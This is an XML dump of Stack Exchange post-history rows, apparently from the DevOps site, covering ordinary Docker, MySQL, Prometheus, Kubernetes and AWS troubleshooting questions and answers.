  <row Id="38239" PostHistoryTypeId="5" PostId="12449" RevisionGUID="db3d5d39-06ba-48ee-bf14-dcd8f10dd8ac" CreationDate="2020-09-21T13:47:09.797" UserId="23443" Comment="deleted 974 characters in body" Text="I thought I had this working a few minutes ago:&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker container ls&#xD;&#xA;    CONTAINER ID        IMAGE                       COMMAND                  CREATED             STATUS                   PORTS                               NAMES&#xD;&#xA;    9eb4a18def01        mysql/mysql-server:latest   &quot;/entrypoint.sh mysq…&quot;   6 minutes ago       Up 6 minutes (healthy)   0.0.0.0:3306-&gt;3306/tcp, 33060/tcp   mysql&#xD;&#xA;    root $ &#xD;&#xA;    root $ mysql -u root -p&#xD;&#xA;    Enter password: &#xD;&#xA;    ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker exec -ti --user root mysql bash&#xD;&#xA;    bash-4.2# &#xD;&#xA;    bash-4.2# mysql -u root -p&#xD;&#xA;    Enter password: &#xD;&#xA;    Welcome to the MySQL monitor.  Commands end with ; or \g.&#xD;&#xA;    Your MySQL connection id is 16&#xD;&#xA;    Server version: 8.0.21 MySQL Community Server - GPL&#xD;&#xA;    &#xD;&#xA;    Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.&#xD;&#xA;    &#xD;&#xA;    Oracle is a registered trademark of Oracle Corporation and/or its&#xD;&#xA;    affiliates. Other names may be trademarks of their respective&#xD;&#xA;    owners.&#xD;&#xA;    &#xD;&#xA;    Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; SELECT host, user FROM mysql.user;&#xD;&#xA;    +-----------+------------------+&#xD;&#xA;    | host      | user             |&#xD;&#xA;    +-----------+------------------+&#xD;&#xA;    | localhost | healthchecker    |&#xD;&#xA;    | localhost | mysql.infoschema |&#xD;&#xA;    | localhost | mysql.session    |&#xD;&#xA;    | localhost | mysql.sys        |&#xD;&#xA;    | localhost | root             |&#xD;&#xA;    +-----------+------------------+&#xD;&#xA;    5 rows in set (0.00 sec)&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; CREATE USER 'user'@'%' IDENTIFIED BY 'password';&#xD;&#xA;    Query OK, 0 rows affected (0.09 sec)&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; GRANT ALL PRIVILEGES ON *.* TO 'user'@'%' WITH GRANT OPTION;&#xD;&#xA;    Query OK, 0 rows affected (0.13 sec)&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; FLUSH PRIVILEGES;&#xD;&#xA;    Query OK, 0 rows affected (0.05 sec)&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; SELECT host, user FROM mysql.user;&#xD;&#xA;    +-----------+------------------+&#xD;&#xA;    | host      | user             |&#xD;&#xA;    +-----------+------------------+&#xD;&#xA;    | %         | user             |&#xD;&#xA;    | localhost | healthchecker    |&#xD;&#xA;    | localhost | mysql.infoschema |&#xD;&#xA;    | localhost | mysql.session    |&#xD;&#xA;    | localhost | mysql.sys        |&#xD;&#xA;    | localhost | root             |&#xD;&#xA;    +-----------+------------------+&#xD;&#xA;    6 rows in set (0.00 sec)&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; exit&#xD;&#xA;    Bye&#xD;&#xA;    bash-4.2# &#xD;&#xA;    bash-4.2# mysql -u user -p&#xD;&#xA;    Enter password: &#xD;&#xA;    Welcome to the MySQL monitor.  Commands end with ; or \g.&#xD;&#xA;    Your MySQL connection id is 21&#xD;&#xA;    Server version: 8.0.21 MySQL Community Server - GPL&#xD;&#xA;    &#xD;&#xA;    Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.&#xD;&#xA;    &#xD;&#xA;    Oracle is a registered trademark of Oracle Corporation and/or its&#xD;&#xA;    affiliates. Other names may be trademarks of their respective&#xD;&#xA;    owners.&#xD;&#xA;    &#xD;&#xA;    Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; exit&#xD;&#xA;    Bye&#xD;&#xA;    bash-4.2#   &#xD;&#xA;    bash-4.2# exit&#xD;&#xA;    exit&#xD;&#xA;    root $ &#xD;&#xA;    root $ mysql -u user -p&#xD;&#xA;    Enter password: &#xD;&#xA;    ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)&#xD;&#xA;    root $ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;but clearly not." ContentLicense="CC BY-SA 4.0" />
  <row Id="38240" PostHistoryTypeId="5" PostId="12449" RevisionGUID="daeb74ed-b84a-4770-bd18-cdbc049d654c" CreationDate="2020-09-21T13:54:01.817" UserId="23443" Comment="added 508 characters in body" Text="I thought I had this working a few minutes ago:&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker container ls&#xD;&#xA;    CONTAINER ID        IMAGE                       COMMAND                  CREATED             STATUS                   PORTS                               NAMES&#xD;&#xA;    9eb4a18def01        mysql/mysql-server:latest   &quot;/entrypoint.sh mysq…&quot;   6 minutes ago       Up 6 minutes (healthy)   0.0.0.0:3306-&gt;3306/tcp, 33060/tcp   mysql&#xD;&#xA;    root $ &#xD;&#xA;    root $ mysql -u root -p&#xD;&#xA;    Enter password: &#xD;&#xA;    ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker exec -ti --user root mysql bash&#xD;&#xA;    bash-4.2# &#xD;&#xA;    bash-4.2# mysql -u root -p&#xD;&#xA;    Enter password: &#xD;&#xA;    Welcome to the MySQL monitor.  Commands end with ; or \g.&#xD;&#xA;    Your MySQL connection id is 16&#xD;&#xA;    Server version: 8.0.21 MySQL Community Server - GPL&#xD;&#xA;    &#xD;&#xA;    Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.&#xD;&#xA;    &#xD;&#xA;    Oracle is a registered trademark of Oracle Corporation and/or its&#xD;&#xA;    affiliates. Other names may be trademarks of their respective&#xD;&#xA;    owners.&#xD;&#xA;    &#xD;&#xA;    Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; SELECT host, user FROM mysql.user;&#xD;&#xA;    +-----------+------------------+&#xD;&#xA;    | host      | user             |&#xD;&#xA;    +-----------+------------------+&#xD;&#xA;    | localhost | healthchecker    |&#xD;&#xA;    | localhost | mysql.infoschema |&#xD;&#xA;    | localhost | mysql.session    |&#xD;&#xA;    | localhost | mysql.sys        |&#xD;&#xA;    | localhost | root             |&#xD;&#xA;    +-----------+------------------+&#xD;&#xA;    5 rows in set (0.00 sec)&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; CREATE USER 'user'@'%' IDENTIFIED BY 'password';&#xD;&#xA;    Query OK, 0 rows affected (0.09 sec)&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; GRANT ALL PRIVILEGES ON *.* TO 'user'@'%' WITH GRANT OPTION;&#xD;&#xA;    Query OK, 0 rows affected (0.13 sec)&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; FLUSH PRIVILEGES;&#xD;&#xA;    Query OK, 0 rows affected (0.05 sec)&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; SELECT host, user FROM mysql.user;&#xD;&#xA;    +-----------+------------------+&#xD;&#xA;    | host      | user             |&#xD;&#xA;    +-----------+------------------+&#xD;&#xA;    | %         | user             |&#xD;&#xA;    | localhost | healthchecker    |&#xD;&#xA;    | localhost | mysql.infoschema |&#xD;&#xA;    | localhost | mysql.session    |&#xD;&#xA;    | localhost | mysql.sys        |&#xD;&#xA;    | localhost | root             |&#xD;&#xA;    +-----------+------------------+&#xD;&#xA;    6 rows in set (0.00 sec)&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; exit&#xD;&#xA;    Bye&#xD;&#xA;    bash-4.2# &#xD;&#xA;    bash-4.2# mysql -u user -p&#xD;&#xA;    Enter password: &#xD;&#xA;    Welcome to the MySQL monitor.  Commands end with ; or \g.&#xD;&#xA;    Your MySQL connection id is 21&#xD;&#xA;    Server version: 8.0.21 MySQL Community Server - GPL&#xD;&#xA;    &#xD;&#xA;    Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.&#xD;&#xA;    &#xD;&#xA;    Oracle is a registered trademark of Oracle Corporation and/or its&#xD;&#xA;    affiliates. Other names may be trademarks of their respective&#xD;&#xA;    owners.&#xD;&#xA;    &#xD;&#xA;    Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; exit&#xD;&#xA;    Bye&#xD;&#xA;    bash-4.2#   &#xD;&#xA;    bash-4.2# exit&#xD;&#xA;    exit&#xD;&#xA;    root $ &#xD;&#xA;    root $ mysql -u user -p&#xD;&#xA;    Enter password: &#xD;&#xA;    ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)&#xD;&#xA;    root $ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;but clearly not.  How do I check that the container connection is accessible?  I'm trying:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ telnet 127.0.0.1 3306&#xD;&#xA;    Trying 127.0.0.1...&#xD;&#xA;    Connected to 127.0.0.1.&#xD;&#xA;    Escape character is '^]'.&#xD;&#xA;    J&#xD;&#xA;    8.0.21%#%T:/]T�e-r&amp;UR([/caching_sha2_password&#xD;&#xA;    ^CConnection closed by foreign host.&#xD;&#xA;    root $ &#xD;&#xA;    root $ &#xD;&#xA;    root $ telnet 127.0.0.1 33060&#xD;&#xA;    Trying 127.0.0.1...&#xD;&#xA;    telnet: Unable to connect to remote host: Connection refused&#xD;&#xA;    root $ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;but that seems a bit odd." ContentLicense="CC BY-SA 4.0" />
  <row Id="38241" PostHistoryTypeId="2" PostId="12451" RevisionGUID="c38ac9b7-b573-453e-b050-6c06f5ef7bd0" CreationDate="2020-09-21T14:02:18.863" UserId="23443" Text="Solution:&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ mysql -h localhost -P 3306 --protocol=tcp -u user -p&#xD;&#xA;    Enter password: &#xD;&#xA;    Welcome to the MySQL monitor.  Commands end with ; or \g.&#xD;&#xA;    Your MySQL connection id is 17&#xD;&#xA;    Server version: 8.0.21 MySQL Community Server - GPL&#xD;&#xA;    &#xD;&#xA;    Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.&#xD;&#xA;    &#xD;&#xA;    Oracle is a registered trademark of Oracle Corporation and/or its&#xD;&#xA;    affiliates. Other names may be trademarks of their respective&#xD;&#xA;    owners.&#xD;&#xA;    &#xD;&#xA;    Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;per:&#xD;&#xA;&#xD;&#xA;https://stackoverflow.com/q/33001750/4531180&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38243" PostHistoryTypeId="4" PostId="12449" RevisionGUID="5402390a-292c-485f-b677-362ea7e563ba" CreationDate="2020-09-21T14:03:56.873" UserId="23443" Comment="edited title" Text="How to gain console access to a MySQL server running on a docker container from the host?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38244" PostHistoryTypeId="5" PostId="12451" RevisionGUID="f6be40bf-85a7-493e-a0b5-6f9876275df4" CreationDate="2020-09-21T14:08:01.893" UserId="23443" Comment="added 478 characters in body" Text="Solution:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ mysql -h localhost -P 3306 --protocol=tcp -u user -p&#xD;&#xA;    Enter password: &#xD;&#xA;    Welcome to the MySQL monitor.  Commands end with ; or \g.&#xD;&#xA;    Your MySQL connection id is 17&#xD;&#xA;    Server version: 8.0.21 MySQL Community Server - GPL&#xD;&#xA;    &#xD;&#xA;    Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.&#xD;&#xA;    &#xD;&#xA;    Oracle is a registered trademark of Oracle Corporation and/or its&#xD;&#xA;    affiliates. Other names may be trademarks of their respective&#xD;&#xA;    owners.&#xD;&#xA;    &#xD;&#xA;    Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; SELECT host, user FROM mysql.user;&#xD;&#xA;    +-----------+------------------+&#xD;&#xA;    | host      | user             |&#xD;&#xA;    +-----------+------------------+&#xD;&#xA;    | %         | user             |&#xD;&#xA;    | localhost | healthchecker    |&#xD;&#xA;    | localhost | mysql.infoschema |&#xD;&#xA;    | localhost | mysql.session    |&#xD;&#xA;    | localhost | mysql.sys        |&#xD;&#xA;    | localhost | root             |&#xD;&#xA;    +-----------+------------------+&#xD;&#xA;    6 rows in set (0.00 sec)&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;&#xD;&#xA;per:&#xD;&#xA;&#xD;&#xA;https://stackoverflow.com/q/33001750/4531180&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38245" PostHistoryTypeId="2" PostId="12452" RevisionGUID="aa4e01bf-74b8-448b-8659-b2516ff1b91e" CreationDate="2020-09-21T16:04:53.897" UserId="3032" Text="I believe that what you need is just a [Personal Access Token][1], or if you're a maintainer, possibly a [Deploy Token][2]. It's *much* safer than embedding user credentials.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html&#xD;&#xA;  [2]: https://docs.gitlab.com/ee/user/project/deploy_tokens/" ContentLicense="CC BY-SA 4.0" />
  <row Id="38256" PostHistoryTypeId="2" PostId="12456" RevisionGUID="f691e290-e2db-46f2-a7af-1be6f74d87f0" CreationDate="2020-09-21T22:13:10.177" UserId="23443" Text="From fifty-thousand feet, how are, for example, multiple `MySQL` containers handled?&#xD;&#xA;&#xD;&#xA;In the context of my limited experience, [simply running the container is insufficient and additional configuration][1] required.  It just seems not quite so repeatable if, after running the container, it must be further tinkered with before any CRUD operations.  Or is that just the process?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/q/12449/23443" ContentLicense="CC BY-SA 4.0" />
  <row Id="38257" PostHistoryTypeId="1" PostId="12456" RevisionGUID="f691e290-e2db-46f2-a7af-1be6f74d87f0" CreationDate="2020-09-21T22:13:10.177" UserId="23443" Text="How to deploy MySQL server repeatedly" ContentLicense="CC BY-SA 4.0" />
  <row Id="38258" PostHistoryTypeId="3" PostId="12456" RevisionGUID="f691e290-e2db-46f2-a7af-1be6f74d87f0" CreationDate="2020-09-21T22:13:10.177" UserId="23443" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;containers&gt;&lt;docker-swarm&gt;&lt;orchestration&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38264" PostHistoryTypeId="5" PostId="12401" RevisionGUID="a82e5357-d088-47a6-aa27-5a44a22c7a05" CreationDate="2020-09-22T07:12:25.113" UserId="354" Comment="fix minor typo" Text="Try to read logs as follows:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker logs -f &lt;container-name or container-ID&gt; 2&gt;&amp;1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;[**NOTE**]:&#xD;&#xA;&#xD;&#xA; - `-f` option follows live logs.&#xD;&#xA; - `2&gt;&amp;1` makes output as `stdout` and `stderr` which is useful for grepping and standardizing. &#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="38265" PostHistoryTypeId="2" PostId="12458" RevisionGUID="1a0e3263-2ffc-4072-8565-6ffe85c2d3ad" CreationDate="2020-09-22T08:01:15.830" UserId="24044" Text="Can you please tell me, how do I organize my frontend infrastructure for MERN stack dockerized app? &#xD;&#xA;&#xD;&#xA;For example, I will need a container for MongoDB, Node separately, organized with docker-compose, right? so what and how should I do with react then? do I deploy it in separate docker and bundle with previous MongoDB and Node with docker-compose, or should I deploy it on the frontend server(Nginx as reverse proxy)? Where should I install the SSL, if indeed frontend suppose to be in docker?&#xD;&#xA;&#xD;&#xA;I mean you clearly can tell I'm very newbie in this topic and generally in all of the devops, so please tell whatever is in you mind(regards this topic :) ), it might help me out!&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="38266" PostHistoryTypeId="1" PostId="12458" RevisionGUID="1a0e3263-2ffc-4072-8565-6ffe85c2d3ad" CreationDate="2020-09-22T08:01:15.830" UserId="24044" Text="How to organize frontend infrastructure with dockerized MERN" ContentLicense="CC BY-SA 4.0" />
  <row Id="38267" PostHistoryTypeId="3" PostId="12458" RevisionGUID="1a0e3263-2ffc-4072-8565-6ffe85c2d3ad" CreationDate="2020-09-22T08:01:15.830" UserId="24044" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38269" PostHistoryTypeId="5" PostId="12435" RevisionGUID="5ee96ba0-7c6e-46e2-9333-5371a86ef406" CreationDate="2020-09-22T11:48:15.377" UserId="6258" Comment="fixed docker-compose up output to match example" Text="The Dockerfile specifies how a container image is *built*.  The Dockerfile’s `RUN` command is trying to ping the `db` container, which is not yet running during the build phase.&#xD;&#xA;&#xD;&#xA;Once the container images have have been created, compose will start the containers and they will be able to address each other via their service names (`dB` and `web`). &#xD;&#xA;&#xD;&#xA;To accomplish what you want, an adjustment to your Dockerfile will need to be made.  Replace `RUN` with `CMD`.  This will allow the container to execute your ping command when it launches.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;FROM alpine&#xD;&#xA;CMD ping -c 1 db&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now your `docker-compose up` will build the web image, launch the `db` container and then launch your `web` container which will successfully execute a ping:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&gt; docker-compose up&#xD;&#xA;Creating network &quot;simple_default&quot; with the default driver&#xD;&#xA;Building web&#xD;&#xA;Step 1/2 : FROM alpine&#xD;&#xA; ---&gt; a24bb4013296&#xD;&#xA;Step 2/2 : CMD ping -c 1 db&#xD;&#xA; ---&gt; Running in 0c210f0936fd&#xD;&#xA;Removing intermediate container 0c210f0936fd&#xD;&#xA; ---&gt; 7c0ed50ad4e8&#xD;&#xA;Successfully built 7c0ed50ad4e8&#xD;&#xA;Successfully tagged simple_web:latest&#xD;&#xA;WARNING: Image for service web was built because it did not already exist. To rebuild this image you must use `docker-compose build` or `docker-compose up --build`.&#xD;&#xA;Creating simple_db_1 ... done&#xD;&#xA;Creating simple_web_1 ... done&#xD;&#xA;Attaching to simple_db_1, simple_web_1&#xD;&#xA;&#xD;&#xA;... output omitted&#xD;&#xA;&#xD;&#xA;web_1  | PING db (172.19.0.2): 56 data bytes&#xD;&#xA;web_1  | 64 bytes from 172.19.0.2: seq=0 ttl=64 time=0.218 ms&#xD;&#xA;web_1  |&#xD;&#xA;web_1  | --- db ping statistics ---&#xD;&#xA;web_1  | 1 packets transmitted, 1 packets received, 0% packet loss&#xD;&#xA;web_1  | round-trip min/avg/max = 0.218/0.218/0.218 ms&#xD;&#xA;db_1   |&#xD;&#xA;db_1   | Data page checksums are disabled.&#xD;&#xA;db_1   |&#xD;&#xA;db_1   | fixing permissions on existing directory /var/lib/postgresql/data ... ok&#xD;&#xA;db_1   | creating subdirectories ... ok&#xD;&#xA;db_1   | selecting dynamic shared memory implementation ... posix&#xD;&#xA;db_1   | selecting default max_connections ... 100&#xD;&#xA;db_1   | selecting default shared_buffers ... 128MB&#xD;&#xA;db_1   | selecting default time zone ... Etc/UTC&#xD;&#xA;db_1   | creating configuration files ... ok&#xD;&#xA;db_1   | running bootstrap script ... ok&#xD;&#xA;db_1   | performing post-bootstrap initialization ... ok&#xD;&#xA;simple_web_1 exited with code 0" ContentLicense="CC BY-SA 4.0" />
  <row Id="38271" PostHistoryTypeId="2" PostId="12459" RevisionGUID="bd9ab8dc-2566-4f3a-b293-cf03f4dd05bb" CreationDate="2020-09-22T13:27:52.823" UserId="12833" Text="Is it possible to change `__address__` port if prometheus job name is equal to **node-exporter**?&#xD;&#xA;Something like in example below but its not working:&#xD;&#xA;&#xD;&#xA;     - source_labels: [__meta_dockerswarm_node_address, job]&#xD;&#xA;            regex: node-exporter&#xD;&#xA;            target_label: __address__&#xD;&#xA;            replacement: $1:9100     " ContentLicense="CC BY-SA 4.0" />
  <row Id="38272" PostHistoryTypeId="1" PostId="12459" RevisionGUID="bd9ab8dc-2566-4f3a-b293-cf03f4dd05bb" CreationDate="2020-09-22T13:27:52.823" UserId="12833" Text="Prometheus two source labels relabeling" ContentLicense="CC BY-SA 4.0" />
  <row Id="38273" PostHistoryTypeId="3" PostId="12459" RevisionGUID="bd9ab8dc-2566-4f3a-b293-cf03f4dd05bb" CreationDate="2020-09-22T13:27:52.823" UserId="12833" Text="&lt;prometheus&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38274" PostHistoryTypeId="2" PostId="12460" RevisionGUID="942ed3ab-a15f-408b-8150-0f52d347c0c5" CreationDate="2020-09-22T14:10:33.377" UserId="2729" Text="The AWS answer would be to use appropriate services for each component.&#xD;&#xA;&#xD;&#xA;E.g. Put the database on an RDS - they have multiple choices. Deploy the front-end using Fargate and Lambda.&#xD;&#xA;&#xD;&#xA;There are 2 issues to consider:&#xD;&#xA;&#xD;&#xA;**1. The learning curve.** &#xD;&#xA;&#xD;&#xA;Getting up to speed on AWS technology - and keeping up with them as they make minor tweaks that break lagacy deployments - can get very expensive, time-wise. &#xD;&#xA;&#xD;&#xA;OTOH, once you're an expert at these technologies, you can leverage them with amazing results.&#xD;&#xA;&#xD;&#xA;**2. The costs:** &#xD;&#xA;&#xD;&#xA;While you develop you will be using the free-tier mostly, and the costs will be minimal.&#xD;&#xA;&#xD;&#xA;Once you move into production, you have have to start using &quot;real&quot; machinery, and even if you don't, most services have an expiration for their free tier: 12 months and/or a certain amount of usage.&#xD;&#xA;&#xD;&#xA;At that point the costs start ballooning. from small-change to 3 or even 4-figure numbers for a small installation.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The other approach is to do it the way you'd do it without AWS.&#xD;&#xA;&#xD;&#xA;You didn't give me much details, but if you're deploying something simple, you may want to spin up an EC2 instance, install a LAMP server and use it for both front &amp; back end.&#xD;&#xA;&#xD;&#xA;You can then use the Lifecycle Manager to back up the entire machine daily.&#xD;&#xA;&#xD;&#xA;However, if you have to scale this up in a big way, you'll have to start from scratch. &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;So, what do you choose?&#xD;&#xA;&#xD;&#xA;The answer depends on your resources: time, money and manpower, as well as how you see this growing from a one-off project to a long term heavily used installation that needs redundancy, load balancing and the ability to scale dynamically.&#xD;&#xA;&#xD;&#xA;You could also look at something like AWS Beanstalk, which is easier to implement and redeploy, but not as dynamic, as their serverless approach.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38275" PostHistoryTypeId="2" PostId="12461" RevisionGUID="42877be1-98b4-491f-bce0-4f64e43557e3" CreationDate="2020-09-22T16:27:58.790" UserId="24042" Text="The following setup works for me.  When using the `subPath` in `volumeMounts`, the permission issue is automatically addressed, as the user `postgres` owns the folder corresponding to the `subPath`. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    spec:&#xD;&#xA;      ...&#xD;&#xA;      containers:&#xD;&#xA;        - ...&#xD;&#xA;          volumeMounts:&#xD;&#xA;            # need a subpath as postgres wants an empty folder (the mounted folder `/var/lib/postgresql/data` has a `lost+found` directory)&#xD;&#xA;            # see https://stackoverflow.com/questions/51168558/how-to-mount-a-postgresql-volume-using-aws-ebs-in-kubernete&#xD;&#xA;            # this is used together with the env var PGDATA = /var/lib/postgresql/data/pgdata (below)&#xD;&#xA;            # the owner:group of this folder is 70:70 (postgres:postgres), done by this step in the docker image:&#xD;&#xA;            # https://github.com/docker-library/postgres/blob/master/Dockerfile-alpine.template#L146&#xD;&#xA;            - mountPath: /var/lib/postgresql/data&#xD;&#xA;              subPath: pgdata&#xD;&#xA;              name: my-postgres-pv&#xD;&#xA;          ...&#xD;&#xA;          env:&#xD;&#xA;            # need to define PGDATA env var because not using the default /var/lib/postgresql/data, but a subpath under it.&#xD;&#xA;            - name: PGDATA&#xD;&#xA;              value: /var/lib/postgresql/data/pgdata&#xD;&#xA;            ...&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="38279" PostHistoryTypeId="2" PostId="12463" RevisionGUID="1bb930e2-8f42-44d8-8237-65b14c8a9379" CreationDate="2020-09-22T18:20:10.460" UserId="9877" Text="I think it depends on the context. &#xD;&#xA;&#xD;&#xA;I feel your pain with regard to needing to tinker and tweak a MySQL/MariaDB instance. It's not extremely difficult to get an instance up and running and THEN populate the DB from, say, a mysqldump by attaching volumes to the MySQL instance either using a Dockerfile for the instance or by &quot;manually&quot; bash-ing into it and loading your tables, tweaking your network config, setting up complex user permissions, etc. &#xD;&#xA;&#xD;&#xA;But it's usually a STRUGGLE to deploy a &quot;ready to go&quot; mysql instance from a docker-compose.yml in my initial experience using Docker Composer for a MySQL container in an app deployment, but it IS doable.&#xD;&#xA;&#xD;&#xA;What kind of scale are you trying to achieve? Do you NEED Kubernetes or Docker Swarm? I think in the case of most apps, the answer is honestly no. You can almost always come up with a crafty workaround with ba(sh) scripts or RUN/CMD (Dockerfile) or command: (docker-compose).&#xD;&#xA;&#xD;&#xA;Are you trying to support an automated deployment? or just get an app up and running? or trying to increase resilience? Increase capacity at scale?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38281" PostHistoryTypeId="5" PostId="12435" RevisionGUID="dc3a7f7a-ea74-4235-8422-281c58e0cf73" CreationDate="2020-09-22T19:44:49.707" UserId="16683" Comment="Fixed grammar" Text="The Dockerfile specifies how a container image is *built*.  The Dockerfile’s `RUN` command is trying to ping the `db` container, which is not yet running during the build phase.&#xD;&#xA;&#xD;&#xA;Once the container images have been created, compose will start the containers and they will be able to address each other via their service names (`db` and `web`). &#xD;&#xA;&#xD;&#xA;To accomplish what you want, an adjustment to your Dockerfile will need to be made.  Replace `RUN` with `CMD`.  This will allow the container to execute your ping command when it launches.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;FROM alpine&#xD;&#xA;CMD ping -c 1 db&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now your `docker-compose up` will build the web image, launch the `db` container and then launch your `web` container which will successfully execute a ping:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&gt; docker-compose up&#xD;&#xA;Creating network &quot;simple_default&quot; with the default driver&#xD;&#xA;Building web&#xD;&#xA;Step 1/2 : FROM alpine&#xD;&#xA; ---&gt; a24bb4013296&#xD;&#xA;Step 2/2 : CMD ping -c 1 db&#xD;&#xA; ---&gt; Running in 0c210f0936fd&#xD;&#xA;Removing intermediate container 0c210f0936fd&#xD;&#xA; ---&gt; 7c0ed50ad4e8&#xD;&#xA;Successfully built 7c0ed50ad4e8&#xD;&#xA;Successfully tagged simple_web:latest&#xD;&#xA;WARNING: Image for service web was built because it did not already exist. To rebuild this image you must use `docker-compose build` or `docker-compose up --build`.&#xD;&#xA;Creating simple_db_1 ... done&#xD;&#xA;Creating simple_web_1 ... done&#xD;&#xA;Attaching to simple_db_1, simple_web_1&#xD;&#xA;&#xD;&#xA;... output omitted&#xD;&#xA;&#xD;&#xA;web_1  | PING db (172.19.0.2): 56 data bytes&#xD;&#xA;web_1  | 64 bytes from 172.19.0.2: seq=0 ttl=64 time=0.218 ms&#xD;&#xA;web_1  |&#xD;&#xA;web_1  | --- db ping statistics ---&#xD;&#xA;web_1  | 1 packets transmitted, 1 packets received, 0% packet loss&#xD;&#xA;web_1  | round-trip min/avg/max = 0.218/0.218/0.218 ms&#xD;&#xA;db_1   |&#xD;&#xA;db_1   | Data page checksums are disabled.&#xD;&#xA;db_1   |&#xD;&#xA;db_1   | fixing permissions on existing directory /var/lib/postgresql/data ... ok&#xD;&#xA;db_1   | creating subdirectories ... ok&#xD;&#xA;db_1   | selecting dynamic shared memory implementation ... posix&#xD;&#xA;db_1   | selecting default max_connections ... 100&#xD;&#xA;db_1   | selecting default shared_buffers ... 128MB&#xD;&#xA;db_1   | selecting default time zone ... Etc/UTC&#xD;&#xA;db_1   | creating configuration files ... ok&#xD;&#xA;db_1   | running bootstrap script ... ok&#xD;&#xA;db_1   | performing post-bootstrap initialization ... ok&#xD;&#xA;simple_web_1 exited with code 0" ContentLicense="CC BY-SA 4.0" />
  <row Id="38282" PostHistoryTypeId="24" PostId="12435" RevisionGUID="dc3a7f7a-ea74-4235-8422-281c58e0cf73" CreationDate="2020-09-22T19:44:49.707" Comment="Proposed by 16683 approved by 354, 40 edit id of 1280" ContentLicense="CC BY-SA 4.0" />
